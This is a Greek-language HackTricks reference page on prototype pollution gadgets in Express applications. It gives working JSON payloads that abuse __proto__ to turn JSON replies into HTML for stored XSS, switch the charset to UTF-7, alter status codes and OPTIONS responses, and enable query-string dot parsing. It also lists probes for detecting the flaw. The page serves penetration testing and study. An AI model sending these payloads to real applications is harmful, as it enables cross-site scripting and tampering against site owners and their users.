Express Prototype Pollution Gadgets

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)!

Άλλοι τρόποι υποστήριξης του HackTricks:

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλου λογισμικού.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.

Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:


Εξυπηρέτηση απαντήσεων XSS

Για περισσότερες λεπτομέρειες ανατρέξτε στην αρχική έρευνα

Αλλαγή του τύπου περιεχομένου JSON σε HTML

Σε μια εφαρμογή Express που χρησιμοποιεί μια απάντηση τύπου περιεχομένου JSON και αντανακλά ένα JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

Σε αυτές τις περιπτώσεις το XSS συνήθως δεν είναι δυνατό με έναν τύπο περιεχομένου JSON. Ωστόσο, με τη χρήση της πρωτοτύπου μόλυνσης μπορούμε να μπερδέψουμε το Express ώστε να εξυπηρετήσει μια απάντηση HTML. Αυτή η ευπάθεια βασίζεται στην εφαρμογή που χρησιμοποιεί res.send(obj) και χρησιμοποιεί τον body parser με τον τύπο περιεχομένου application/json.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Με το ρύπανση των ιδιοτήτων body και _body, είναι δυνατόν να προκαλέσετε το Express να παρέχει τον τύπο περιεχομένου HTML και να αντανακλά την ιδιότητα _body, με αποτέλεσμα την αποθηκευμένη XSS.

Απεικόνιση UTF7

Είναι δυνατόν να κάνετε το express να απεικονίζει περιεχόμενο UTF-7 με:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Ασφαλείς Τεχνικές Σάρωσης

Χώροι JSON

Το ακόλουθο PP θα κάνει τα γνωρίσματα μέσα σε ένα JSON να έχουν ένα επιπλέον κενό το οποίο δεν θα διακόψει τη λειτουργικότητα:

{"__proto__":{"json spaces": " "}}

Τότε ένα αντικατοπτρισμένο JSON θα μοιάζει με:

{"foo":  "bar"} -- Note the extra space

Εκτεθειμένες Κεφαλίδες

Το παρακάτω PP gadget θα κάνει τον διακομιστή να στείλει πίσω την HTTP κεφαλίδα: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Απαιτείται η εγκατάσταση του ενός εξωτερικού προσθέτου CORS

Μέθοδος OPTIONS

Με το παρακάτω φορτίο, είναι δυνατόν να κρύψετε μια μέθοδο από μια απάντηση OPTIONS:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Κατάσταση

Είναι δυνατή η αλλαγή του κωδικού κατάστασης που επιστρέφεται χρησιμοποιώντας το ακόλουθο φορτίο PP:

{"__proto__":{"status":510}}

Σφάλμα

Όταν αναθέτετε σε ένα πρωτότυπο ένα πρωτεύοντα τύπο όπως ένα string, παράγει μια λειτουργία no-op καθώς το πρωτότυπο πρέπει να είναι ένα αντικείμενο. Εάν προσπαθήσετε να αναθέσετε ένα αντικείμενο πρωτοτύπου στο ίδιο το Object.prototype, αυτό θα εκτοξεύσει μια εξαίρεση. Μπορούμε να χρησιμοποιήσουμε αυτές τις δύο συμπεριφορές για να ανιχνεύσουμε εάν η μόλυνση του πρωτοτύπου ήταν επιτυχής:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Ανακλισμένη Τιμή

Όταν μια εφαρμογή περιλαμβάνει ένα αντικείμενο στην απάντησή της, δημιουργώντας ένα γνώριμο όνομα μαζί με __proto__ μπορεί να είναι ενδιαφέρον. Συγκεκριμένα, αν επιστρέφεται μόνο το ασυνήθιστο γνώριμο χαρακτηριστικό στην απάντηση, αυτό θα μπορούσε να υποδεικνύει την ευπάθεια της εφαρμογής:

{"unusualName":"value","__proto__":"test"}

Επιπλέον, σε περιπτώσεις όπου χρησιμοποιείται μια βιβλιοθήκη όπως το Lodash, η ρύθμιση μιας ιδιότητας τόσο μέσω της μόλυνσης πρωτοτύπου (PP) όσο και απευθείας μέσα στο αντικείμενο προσφέρει μια άλλη διαγνωστική προσέγγιση. Αν μια τέτοια ιδιότητα παραλείπεται από την απόκριση, υποδηλώνει ότι το Lodash επαληθεύει την ύπαρξη της ιδιότητας στον στόχο αντικείμενο πριν τη συγχώνευση:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Διάφορα

Επιτρέψτε τα Τελεία

Υπάρχει μια επιλογή στο Express που σας επιτρέπει να δημιουργήσετε αντικείμενα από τις παραμέτρους της συμβολοσειράς ερωτήματος. Σίγουρα θα μπορούσατε να το χρησιμοποιήσετε σε μια αλυσίδα σφαλμάτων για να εκμεταλλευτείτε μια ευπάθεια προς προσβολή του πρωτοτύπου.

{"__proto__":{"allowDots":true}}

?foo.bar=baz δημιουργεί ένα αντικείμενο στο Node.

Αναφορές

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλων λογισμικών.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.

Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated